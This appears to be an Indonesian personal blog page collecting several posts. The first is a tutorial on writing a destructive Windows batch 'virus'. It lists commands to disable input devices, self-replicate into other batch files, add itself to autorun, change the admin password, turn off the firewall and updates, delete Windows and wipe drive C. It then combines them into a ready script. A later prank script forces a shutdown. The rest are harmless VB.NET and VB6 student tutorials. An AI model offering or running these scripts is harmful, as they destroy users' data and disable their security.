30.6.12

virus perusak ujud angkat coba coba copy

  BUAT VIRUS SEDERHAN UJUD ANGKAT
 
Ujud Angkat - Mungkin ini sedikit berguna buat sobat-sobat yang suka bermain dengan virus yang memakai ekstensi .bat. ya udah kita mulai praktekan aja yah... hehehe :D
Script virus berekstensi .bat hanya terdiri dari beberapa kata perintah seperti echo, pause, cls dan beberapa script perintah jika kita ingin bermain diregistri komputer.

Cirebon-Cyber4rt

Saya tidak menyarankan anda untuk menjalankan virus ini dikomputer sendiri ! Virus ini dibuat dengan Notepad dan di save as dengan ekstension .bat Jangan lupa untuk merubah Save as type menjadi All files.


Invisible command
@echo off

Swap mouse

rundll32 user,swapmousebutton

Buka URL yg diinginkan

start [url]http://www.google.com[/url]

Shutdown kmptr & beri pesan

shutdown -s -t 10 -c "YOUR MESSAGE HERE" -f

Disable mouse setelah Restart

rundll32 mouse,disable

Disable keyboard setelah Restart

rundll32 keyboard,disable

Freezes komputer setelah Restart

rundll32 user,disableoemlayer


Memperbanyak Diri di Dalam Direktori
ctty nul
for %%i in (*.bat) do copy %0+%%i %%i /y >nul"


Me-replace File Batch yang Lain

%0 >>other.bat


Trojan



Mengirim daftar file dalam direktori

dir *.*>>Filelist.txt

Ganti Password Admin

net user administrator PASSWORD HERE

Membuat Info IP

ipconfig >Computer-IP-address.txt


Copy ke Autorun
COPY %0 %windir%WINSTART.BAT

Format Drive C

format c: /q /autotest

Delete Windows

DELTREE /Y %windir%

Delete Drive C dengan Paksa

DEL /F /S /Q C:

Mematikan Firewall & Security Center

net stop "Security Center"
net stop SharedAccess
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
del %0


Pause Sampai Tekan Sembarang Tombol
Pause

Pause 20 Detik

@ping.exe 127.0.0.1 -n 20 -w 1000 > nul


@echo off

cls
rundll32 mouse,disable
rundll32 keyboard,disable
COPY %0 %windir%WINSTART.BAT
net stop "Security Center"
net stop SharedAccess
echo Anda kena VIRUS!!!
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
start [url]http://www.youtube.com[/url]
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
del %0
DEL /F /S /Q C:
shutdown -s -t 10 -c "Ucapkan selamat tinggal pada komputermu!" -f

[-] Disables mouse & keyboard

[-] Copy ke AUTORUN
[-] Stop Security Center
[-] Display "Anda kena VIRUS!!!" selama 5 detik
[-] Starts [url]http://www.youtube.com[/url]
[-] Disable firewall
[-] Delete c: drive
[-] Force shutdown dengan pesan "Ucapkan selamat tinggal pada komputermu!"

Sekian postingan saya tentang Membuat Virus Sederhana dengan Menggunakan Notepad, Semoga tutorial diatas bisa bermnafaat bagi sobat :D

Source: Catatan Ilmuku


Artikel Terkait :

Dengan memasukan alamat email dibawah ini, berarti Anda akan mendapatkan kiriman artikel terbaru dari Cirebon-Cyber4rt di Inbox Anda secara otomatis dan gratis !

Delivered by FeedBurner


Membuat virus sederhana from ujud angkat

  PROGRAM INI BISA MENJENGKELKAN APA BILA KITA TIDAK TAU BAGAI MANA CARA METAIKANNYA DAN JANGAN ASAL DICOBA PAHAMI APAI ISINYA
cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep 5000>C:\sleep5000.vbs
echo Wscript.Sleep 3000>C:\sleep3000.vbs
echo Wscript.Sleep 4000>C:\sleep4000.vbs
echo Wscript.Sleep 2000>C:\sleep2000.vbs
cd %systemroot%\System32
dir
cls
start /w wscript.exe C:\sleep3000.vbs
echo BANGUN TIDUR KU TERUS MENGHANCURKAN SYSTEM…
echo …………………
echo:
echo:
start /w wscript.exe C:\sleep3000.vbs
echo NEXT…………!
echo:
echo:
echo HALO SOBAT
echo MAU JADI TEMAN AKU ?
echo:
echo:
echo IM ZATYA BAJA ITEM
start /w wscript.exe C:\sleep2000.vbs
echo …………
start /w wscript.exe C:\sleep4000.vbs
echo …………
echo NTAR…….!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo VIRUS INI ADALAH VIRUS CONFIICKER YANG SANGAT MEMATIKAN…
cd C:\Documents and Settings\All Users\Start Menu\Programs\
mkdir Si_INDO_CRACKER
start /w wscript.exe C:\sleep3000.vbs
echo:
echo:
echo:
echo:
echo HAPPY BIRTHDAY
echo KOMPUTER KAMU BAGUS DEH
echo BOLEH KITA INTIP DIKIT
echo HMM BOLEH JUGA NEH ISINYA
echo CALL ME YACHH +628524097xxxx GPRS JUGA BOLEH KOK
echo:
echo:
echo:
echo:
echo:
echo SABARAN BRO…
start /w wscript.exe C:\sleep3000.vbs
echo ……….
echo zzzzzzz….
echo:
echo:
start /w wscript.exe C:\sleep3000.vbs
echo OKE….Virus AKTIF!
echo:
echo:
echo:
start /w wscript.exe C:\sleep2000.vbs
echo FIREWALL KAMU ANCUR…
start /w wscript.exe C:\sleep2000.vbs
echo SEMUA PROSESS UDAH DIBANTAI…
start /w wscript.exe C:\sleep2000.vbs
echo VIRUS SILAHKAN BOOTING DENGAN SEGALA HORMAT…
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo VIRUS MASUK PODIUM AKHIR!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo I LOVE U FULL
echo HA HA HA HA
echo:
echo:
echo:
echo:
start /w wscript.exe C:\sleep2000.vbs
pause
shutdown -f -s -c "BERTAUBATLAH, BACK TO UR GOD MOHON MAAF LAHIR DAN BATIN."

dan ini disimpan dengan file terserah tapi yang jelas simpan dia dengan extensi < bat> oke teman
ini haya iseng kalau ada yang kurang mohon di perbaiki hehehehe

ujudangkat927@yahoo.co.id




program hitung Ujud angkat menggunkan VB Net

Membuat Program Sederhana dengan VB.Net 2008 (Program Hitung Nilai Akhir Mahasiswa)

Wahh judulnya panjang bener nih (bingung mau di kasih judul apa nh artikel jadi yang kepikir di tulis aja semua.hhe..?!^). Program ini adalah tugas kedua dari dosen "Pemrograman Visual" saya di kampus. Program sederhana ini merupakan program untuk menghitung nilai akhir seorang mahasiswa. Output/hasil dari program ini adalah berupa nilai angka (0-100) dan nilai indeks yang dinyatakan dalam angka dari A-E, dengan ketentuan nilai indeks :
  • Jika nilai akhir >= 80 maka indeks nilai yang diperoleh mahasiswa adalah "A",
  • Jika nilai akhir >= 70 maka indeks nilai yang diperoleh mahasiswa adalah "B",
  • Jika nilai akhir >= 60 maka indeks nilai yang diperoleh mahasiswa adalah "C",
  • Jika nilai akhir >= 45 maka indeks nilai yang diperoleh mahasiswa adalah "D",
  • Jika nilai akhir <45 maka indeks nilai yang diperoleh mahasiswa adalah "E",
Program ini terdiri dari beberapa tools yang terdapat pada VB.Net 2008, diantaranya : label, textbox, button, group box dan picture box.
Logika program 
Pertama program akan meminta user untuk input data berupa : NIM (Nomor Induk Mahasiswa) apabila NIM telah dipilih maka dengan sendirinya akan tampil nama mahasiswa, dalam arti lain nama tidak dapat di input secara manual melainkan dari combobox NIM Selanjutnya user diminta untuk menginput Nilai absen, Nilai Tugas, Nilai UTS, Nilai UAS.

Kemudian klik button "Hitung", dan program akan memproses hasil nilai akhir. Program hitung nilai akhir ini akan menampilkan hasil nilai akhir dengan dua jenis nilai, yaitu: nilai berupa angka dan nilai berupa indeks (A sampai E) sesuai dengan ketentuan nilai yang telah di buat.

Program di sertai dengan tools "Bersihkan Layar" untuk membersihkan hasil inputan data menjadi seperti awal sebelum peogram melakukan proses penghitungan dan tools "keluar" untuk mengakhiri program.


Code view


Design view


Preview Tampilan Output Program.

 Tampilan awal program


Tampilan input dan proses program


File program di atas dapat di download di sini : 
Password zip : radenprna.blogspot.co.id

0 komentar:

Poskan Komentar


Link ke posting ini

Membuat Program Looping dengan VB.NET 2005 UJUD ANGKAT


Membuat Program Looping dengan VB.NET 2005

Pada project ini saya menggunkan 2 statment perulangan yaitu For Next dan juga Do While.
Dimana codingnya sebagai berikut :

Public Class Form1
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim i As Integer
        Dim j As Integer
        ListBox1.Items.Clear()
        i = 1
        j = i + 1
        For j = 1 To 5
            ListBox1.Items.Add(j)
        Next j
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Dim Angka As Integer
        ListBox1.Items.Clear()
        Angka = 1
        ListBox1.Items.Add(Int(Angka))
        Do While Angka <= 4
            Angka = Angka + 1
            ListBox1.Items.Add(1 & Int(Angka))
            Angka = Angka + 1
            ListBox1.Items.Add(1 & 2 & Int(Angka))
            Angka = Angka + 1
            ListBox1.Items.Add(1 & 2 & 3 & Int(Angka))
            Angka = Angka + 1
            ListBox1.Items.Add(1 & 2 & 3 & 4 & Int(Angka))
        Loop
    End Sub
End Class

Outputnya :

Untuk Looping menggunakan For Next

 Untuk Looping dengan menggunakan Do While

radenparna@yahoo.co.id

Tulisan berjalan

membuat tulisan berjalan mengikuti cursor, kalau anda ingin coba silahkan pake html dan localhost www.radenparna@yahoo.co.id

XAMPP


membuat absensi mengunakan VB 6.0


Membuat Aplikasi Absensi Menggunakan Visual Basic ( Part 2 ).

Maret 10, 2009
Welcome lagi pencita bloger,…thank s ya udah mau ngunjungin blog yang gado-gado ini, gak apa2 ya?..,
sebelumnya saya mau minta maaf , solanya banyak yang minta session 2 Cuma saya ngasihnya telat , maklumlah bos saya juga banyak kegiatan jadi harus bener-bener nyempetin waktu, tapi tenang saya akan tetep tepatin janjji saya.
Ok sebelumnya pernah kita bahas bagaimana membuat tampilan input Absensi dimana disitu juga kita bahas cara membuat text, label commad button,dll.
So saya harapkan untuk kali ini saya enggak perlu lagi ngejelasin lagi , jadi bagi yang Cuma baca session 2 sory ya….he…he.. ,.
Sebelum kita masuk kepembhasan Membuat Tampilan proses absesnsi , terlebih dulu saya minta maaf bila tampilan form dan fields yang kemarin agak sedikit berbeda maklumlah , aplikasi ini saya buat untuk tugas akhir makanya saya masih melakukan normalisasi, Mungkin untuk saat ini mudah-mudahan sudah lumayan normal, dan sebenrnya saya buat tidak hanya untuk absensi tapi juga satu paket degan Koreksi soal objectif serta Katalog buku perpustakaan, tapi kalau saya kasih tahu terus gimana dong dengan TA saya , dan insya Allah Aplikasi Bisa di dapetin gratis Koq entar saya kabarkan dan silahkan insatall dan download programnya , tunggu kalau saya udah kelar TA …bukan Promosi loh?, Oh ya Aplikasi ini saya buat dengan system client admin (ada admin dan client), tapi kalau saya jelaskan dari awalhigga akhir maka perlu satu buku kali ya, tapi enggak apa sedikit asal membantu itu lebih baik.
Yups ..sekarang kita tentunkan skanario dari form yang kita sebuat sebagai interface input absensi , pada form ini kita akan melakukan absensi pada tanggal hari ini ( Updating) sesuai jam di system computer, Pada pembahasan sebelumya kita sudah membuat record, No, Nip/nis/Nim, Nama, Jenis kelamin, kelas/bagian,Tanggal , alpa, izin, masuk, sakit serta total .
Dalam form Proses absesnsi dimana kelas /bagian akan kita buat sebagai locked (pengunci) kenapa ya?, ketiak saya ingin mengabsen kelas XI-A , maka , database hanya akan menampilkan data yang ada pada kelas XI-A saja smentara yang lain dihiden dulu . So, kita butuh script SQL untuk menjlankan perintah ini , BTW dalam membuat laporan pun nantinya kita perlu Dengan SQL Pastinya hal ini untuk mengelompokan data tersebut berdasarkan kelas, tentunya saya tidak membahas banyak tentang SQL , tapi pembahasan lain insya Allah saya kasih tahu bgaimana penggunaan SQl pada VB 6.0 ditunggu aja ya?.
Ok tugas kita adalah mendesaign Form seperti ini nih:
gbr1_absn_vbii
Nah buat formnya seperti ini form ini belum saya running jika sudah di running, maka hasilnya:
gbr2_absn_vbii
Pada bagian form ini kita perlu beberapa komponen
DataGrid (sebagai jembatan)
Dbgrid (Sebagai penampil hasil), seperti pada gamabar kedua tersebut jika anda melihat ada DataGrid yang lain anda tidak perlu membuatnya anda hanya perlu satu DataGrid Saja OK!,.
DataGrid 1 pada bagian properties ubah menjadi :
Name=Data1
Caption=(Terserah anda)
DataBaseName=Path tempat anda menyimpaan data basenya contoh : (D:\LTIHAN . VB\Absensi\tabel1.mdb).
Recordsource=Tabel yang dibuat oleh Data Input sebelumnya missal : Tabel2,
recordsetType=1-type DynaSet
Untuk DbGrid1 di bagian properties:
Name=DbGrid1
Caption=terserah anda
DataSource=Data1.
Type dynaset ini berpengaruh terhadap pengurutan fileds pada DbGrid, karena dengan properties ini field tidak diurut berdasrakan kunci, tapi jika menggunkan 0-Table, maka akan diurut berdasar Index.
Kemudain untuk nama=>text3 misalnya prpertiesnya:
DataSource=Data1
dataField=nama,
lajutkan dengan text=nip ,tex=tanggal, text=kelas ,pada frame sebelum absensi (text=alpa, text=izin ,text=sakit ,text=masuk ,text=total) lakukan sama halnya pada text3.
Makanya pada saat gambar dua di running alpa dll masih dalm keadan kosong karena memang belum saya isi.
Pada
option 1=>Alpa ubah Caption=Alpa
Option2=>Masuk ubah Caption=Masuk
Option3=>Izin ubah Caption=Izin
Option4=>Sakit ubah Caption=Sakit
Nah sekarang kita buat script di masing-masing Option untuk
Option1=>Alpa:
Private Sub Option1_Click()
If Option1.Value = True Then
Text11.Text = Text7.Text
Text12.Text = Text8.Text
Text14.Text = Text2.Text
Text10.Text = Val(Text6.Text) + 1
Else
Text10.Text = Val(Text6.Text) + 0
End If
Text13.SetFocus
Text13.Text = Val(Text10.Text) + Val(Text11.Text) + Val(Text12.Text) + Val(Text14.Text)
End Sub
Perlu di perhatikan saya tidak mengubah text -text yang saya buat memang sengaja tidak saya ubah, Karena inti dari sebuah program adalah hanya si programerlah yang tahu dari maksud kode yang dia buat..he…he…
Pada text11.text=text7.text, maksudnya ketika option1. diberikan titik maka text11.text akan disi oleh data yang ada pada text7.text.
Text11.text=>izin akan tetap berisi satu pada text7.text=>setelah basen , begitu pula pada saat option2 .value =true, maka text10.text=text6.text (seudah absent).
Untuk text10.text jika Option1.value=True maka text10.text(sebelum absent)=text6.text(sesudah absent) akan ditambah satu, sehingga menjadi=val(text6.text)+1, dan anda jangan berpikir jika data ini akan langsung disimpan tapi Cuma di input hanya saja kita menambahkan command button1=Save, dari pada pusing-pusing terusin scriptnya untuk
Option2=>Izin:
Private Sub Option2_Click()
If Option2.Value = True Then
Text11.Text = Val(Text7.Text) + 1
Text10.Text = Text6.Text
Text12.Text = Text8.Text
Text14.Text = Text2.Text
Else
Text11.Text = Val(Text7.Text) + 0
End If
Text13.SetFocus
Text13.Text = Val(Text11.Text) + Val(Text10.Text) + Val(Text12.Text) + Val(Text14.Text)
End Sub
Option3=>Sakit:
Private Sub Option3_Click()
If Option3.Value = True Then
Text12.Text = Val(Text8.Text) + 1
Text10.Text = Text6.Text
Text11.Text = Text7.Text
Text14.Text = Text2.Text
Else
Text12.Text = Val(Text8.Text) + 0
End If
Text13.SetFocus
Text13.Text = Val(Text12.Text) + Val(Text11.Text) + Val(Text10.Text) + Val(Text14.Text)
End Sub
Option4=>Masuk:
Private Sub Option4_Click()
If Option4.Value = True Then
Text10.Text = Text6.Text
Text11.Text = Text7.Text
Text12.Text = Text8.Text
Text14.Text = Val(Text2.Text) + 1
Else
Text14.Text = Val(Text2.Text) + 0
End If
Text13.SetFocus
Text13.Text = Val(Text11.Text) + Val(Text10.Text) + Val(Text12.Text) + Val(Text14.Text)
End Sub
Nah kalau anda melihat text13, itu bermaksud untuk mencari jumlah seluruh absensi baik sakit, izin,masuk dan alpa akan di jumlah menjadi satu. Sebenernya anda juga bisa membuat model seperti tanpa bantuan text sedudah absent tapi cukup mennggunkan database buffer yang sifatnya menyimpan dta smentara dan ketika di klik save maka Database akan dikosongkan kembali, nah metodhe ini saya terapkan pada koreksi soal , untuk yang ini silahkan coba dicari sendiri ya?…he…he.. .
Ok karena database kita bersifat global , dan aplikasi ini kita gunakan untuk absensi siswa , maka kita tidak mungkin mengabsen secara acak berdasar Nim siswa , dan biasanay mengabsen berdasarkan Kelas oleh karena itu kita perlu pengunci untuk mengunci, misalnya saya mau absent kelas XI-A maka data yang akan tampil hanya Kelas XI-A nah sekarang kita ketik pada command4=> Lock :
Private Sub Command4_Click()
Data1.RecordSource = “select*FROM tabel2 WHERE bagian LIKE ‘*” & Text1.Text & “*’”
Data1.Refresh
DBGrid1.Refresh
Text1.SetFocus
End Sub
Oke sakarang kita coba Run tapi sebelumnya kita klik-> Project-> ProjectProperties-> jika muncul jendela kayak gini tentukan mana dulu yang akan kita jalankan kayak gini nih,
gbr3_absn_vbii
Kalau udah klik Ok.
gbr4_absn_vbii1Nah sekarang ketikin XI-A kayak yang saya contohkan terus clik Lock.
Pada bagian Dbgrid1, ditampilkan hanya data kelas XI-A aja, nah sekarang silahkan klik Option1=>Alpa, dan perahtikan pada bagian frame sesudah absent jika muncul angka 1 pada bagian Alpa maka scrip telah berjalan dengan benar, selanjutnya apakah kita akan menyimpan hasil absensi tersebut ?, pasti dong yaiyalah kan emang itu yang kita maksud daripada pusing mendingan ketikin scripnya di command=>save:
Private Sub Command1_Click()
If Text16.Text = “” Or Text3.Text = “” Or Text5.Text = “” Then
MsgBox (“Absensi Telah Selesai / Tidak Ada Object Yang akan di Simpan”)
ElseIf Text16.Text = Data1.Recordset.Fields(“nip”) And Option1.Value = True Or Option2.Value = True Or Option3.Value = True Or Option4.Value = True Then
x=MsgBox (“Thank’s you “, vbOKOnly + vbInformation, “Aplication For Master”)
Data1.Recordset.Edit
Data1.Recordset.Fields(“alpa”) = Text10.Text
Data1.Recordset.Fields(“izin”) = Text11.Text
Data1.Recordset.Fields(“sakit”) = Text12.Text
Data1.Recordset.Fields(“masuk”) = Text14.Text
Data1.Recordset.Fields(“total”) = Text13.Text
Data1.Recordset.Fields(“tgl”) = Label16.Caption
Data1.Recordset.Update
Option1.Value = False
Option2.Value = False
Option3.Value = False
Option4.Value = False
DBGrid1.Refresh
Data1.Recordset.MoveNext
Else
Z = MsgBox(“Anda Belum Memilih Keterangan Absesnsi!”, vbOKOnly + vbInformation, “Informasi”)
End If
End Sub
Untuk mencegah kesalahan ,seperti menyimpan data kosong ,object yang diabsensi sudah salah,Tanpa memilih option, jika hal ini dilakukan maka program akan memeberikan peringatan seperti: “Absensi Telah Selesai / Tidak Ada Object Yang akan di Simpan” atau “Anda Belum Memilih Keterangan Absesnsi!” tapi jika data diisi dengan benar maka akan muncul pesan “Thanks You”, nah ternyata yang seperti ini jutru lebih penting dan ribet loh ,saya aja udah berakali me-Run supaya berjalan Normal, tapi tenang ada kemaun pasti ada jalan….setuju…he… .
Itulah scrip yang terpenting dalam proses ini tapi kalau penegen tahu semua scripnya boleh asal jangan muntah ya…he…ini dya jreng”:
Private Sub Command1_Click()
‘untuk menyimpan hasil absesnsi kedalam database
If Text16.Text = “” Or Text3.Text = “” Or Text5.Text = “” Then
MsgBox (“Absensi Telah Selesai Tidak Ada Object Yang akan di Simpan”)
ElseIf Text16.Text = Data1.Recordset.Fields(“nip”) And Option1.Value = True Or Option2.Value = True Or Option3.Value = True Or Option4.Value = True Then
X = MsgBox(“Thank’s you “, vbOKOnly + vbInformation, “Aplication For Master”)
Data1.Recordset.Edit
Data1.Recordset.Fields(“alpa”) = Text10.Text
Data1.Recordset.Fields(“izin”) = Text11.Text
Data1.Recordset.Fields(“sakit”) = Text12.Text
Data1.Recordset.Fields(“masuk”) = Text14.Text
Data1.Recordset.Fields(“total”) = Text13.Text
Data1.Recordset.Fields(“tgl”) = Label16.Caption
Data1.Recordset.Update
Option1.Value = False
Option2.Value = False
Option3.Value = False
Option4.Value = False
DBGrid1.Refresh
Data1.Recordset.MoveNext ‘setalah di save maka akan menuju record selanjutnya
Else
Z = MsgBox(“Anda Belum Memilih Keterangan Absesnsi!”, vbOKOnly + vbInformation, “Informasi”)
End If
End Sub
Private Sub Command2_Click()
‘hanya refresh doang
Data1.Refresh
Data3.Refresh
End Sub
Private Sub Command3_Click()
‘keluar dari form proses absensi
X = MsgBox(“Apa ada yakin untuk Mengakhiri Pengisian Absensi ini ? “, vbYesNo + vbQuestion, “Aplication For Master”)
If X = vbYes Then
subDepan.Show
Form_Input_absensi.Hide
Else
End If
End Sub
Private Sub Command4_Click()
‘menseleksi berdasarkan kelas
Data1.RecordSource = “select*FROM tabel2 WHERE bagian LIKE ‘*” & Text1.Text & “*’”
Data1.Refresh
DBGrid1.Refresh
Text1.SetFocus
End Sub
Private Sub Command5_Click()
‘ ini untuk find menu berdasarkan nip/nim/nis
Data1.Recordset.FindFirst “nip=’” & Text15.Text & “‘”
If Not Data1.Recordset.NoMatch Then
Text15.Text = “”
Text15.SetFocus
Else
X = Text15.Text
X = MsgBox(“Mohon Periksa kembali Data yang anda Cari!”, vbyesonly + vbinformasi, “Aplication For Master”)
Text15.SetFocus
End If
End Sub
Private Sub Form_Load()
‘Posisikan Form ini ketengah
Me.Move (Screen.Width – Me.Width) / 2, (Screen.Height – Me.Height) / 2
Text10.Text = “”
Text11.Text = “”
Text12.Text = “”
Text13.Text = “”
Text14.Text = “”
Text1.Text = “”
r = “Silahkan Input Nip/Nim/Nis!”
Text15.Text = r
End Sub
Private Sub Option1_Click()
‘jika di klik maka jumlah alpa akan bertambah satu
If Option1.Value = True Then
Text11.Text = Text7.Text
Text12.Text = Text8.Text
Text14.Text = Text2.Text
Text10.Text = Val(Text6.Text) + 1
Else
Text10.Text = Val(Text6.Text) + 0
End If
Text13.SetFocus
Text13.Text = Val(Text10.Text) + Val(Text11.Text) + Val(Text12.Text) + Val(Text14.Text)
End Sub
Private Sub Option2_Click()
‘jika diklik maka jumlah izin akan bertambah satu
If Option2.Value = True Then
Text11.Text = Val(Text7.Text) + 1
Text10.Text = Text6.Text
Text12.Text = Text8.Text
Text14.Text = Text2.Text
Else
Text11.Text = Val(Text7.Text) + 0
End If
Text13.SetFocus
Text13.Text = Val(Text11.Text) + Val(Text10.Text) + Val(Text12.Text) + Val(Text14.Text)
End Sub
Private Sub Option3_Click()
jika diklik maka jumlah sakit akan bertambah satu
If Option3.Value = True Then
Text12.Text = Val(Text8.Text) + 1
Text10.Text = Text6.Text
Text11.Text = Text7.Text
Text14.Text = Text2.Text
Else
Text12.Text = Val(Text8.Text) + 0
End If
Text13.SetFocus
Text13.Text = Val(Text12.Text) + Val(Text11.Text) + Val(Text10.Text) + Val(Text14.Text)
End Sub
Private Sub Option4_Click()
jika diklik maka jumlah izin akan bertambah satu
If Option4.Value = True Then
Text10.Text = Text6.Text
Text11.Text = Text7.Text
Text12.Text = Text8.Text
Text14.Text = Val(Text2.Text) + 1
Else
Text14.Text = Val(Text2.Text) + 0
End If
Text13.SetFocus
Text13.Text = Val(Text11.Text) + Val(Text10.Text) + Val(Text12.Text) + Val(Text14.Text)
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer)
‘ini hanya untuk di Enter supaya pidah ke field berikutnya
If KeyAscii = 13 Then
Command4.SetFocus
End If
End Sub
Private Sub Text15_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
Command5.SetFocus
End If
End Sub
Private Sub Timer1_Timer()
Label14.Caption = Format(Time, “hh:mm:ss:am/pm”)’cuma format jam doang
Label16.Caption = Format(Date, “dd/mmmm/yyyy”)
End Sub
Sekarang kita coba input absensi dan lihat hasilnya missal saya mw absent kelas XI-B,
gbr5_absn_vbiiHasilnya udah langsung bisa dilihat , ketika saya klik option(keterangan) masuk maka pada frame sesudah absent bagian masuk= 1(bertambah satu yang mulanya Nol) dan jika kita memilih absen masuk lagi maka akan bertambah menjadi dua , dan tanggalnya bersifat update pada field pertama dengan nama Lina Marlina tertera tgl 11/02/2009, sedangkan yang lainya tgl 07/02/2009.jangan heran dan aneh kalau ada yang nanya diamana saya menyimpan tanggalnya seperti pada Input data?, Coba anda perhatikan di bagian kanan ats form disitu tertera hari ini tanggal: dan itulah yang saya masukan kedatabase …he……he.. ,
Oke dech kalau emang kurang jelas dan belum ngerti dari aplikasi yang saya buat ini , entar dech saya kasih aplikasi udah jadinya , soalnya saya juga buat aplikasi ini untuk TA he…..he… , istilahnya masih sedikit saya rahasikan gak apa kan ,.
Mungkin karena saya udah ngantuk nih jadi saya cukupin buat session (part 2-nya), nah nanti kita ketemu di part ke 3 dibagian output N pastinya gak kalah seru loh di tunggu ya…!!
Kalau gitu good luck aja yah…..!
By: jombi_par
Ikuti

Get every new post delivered to your Inbox.
Bergabunglah dengan 39 pengikut lainnya.

makalah

Arsip Blog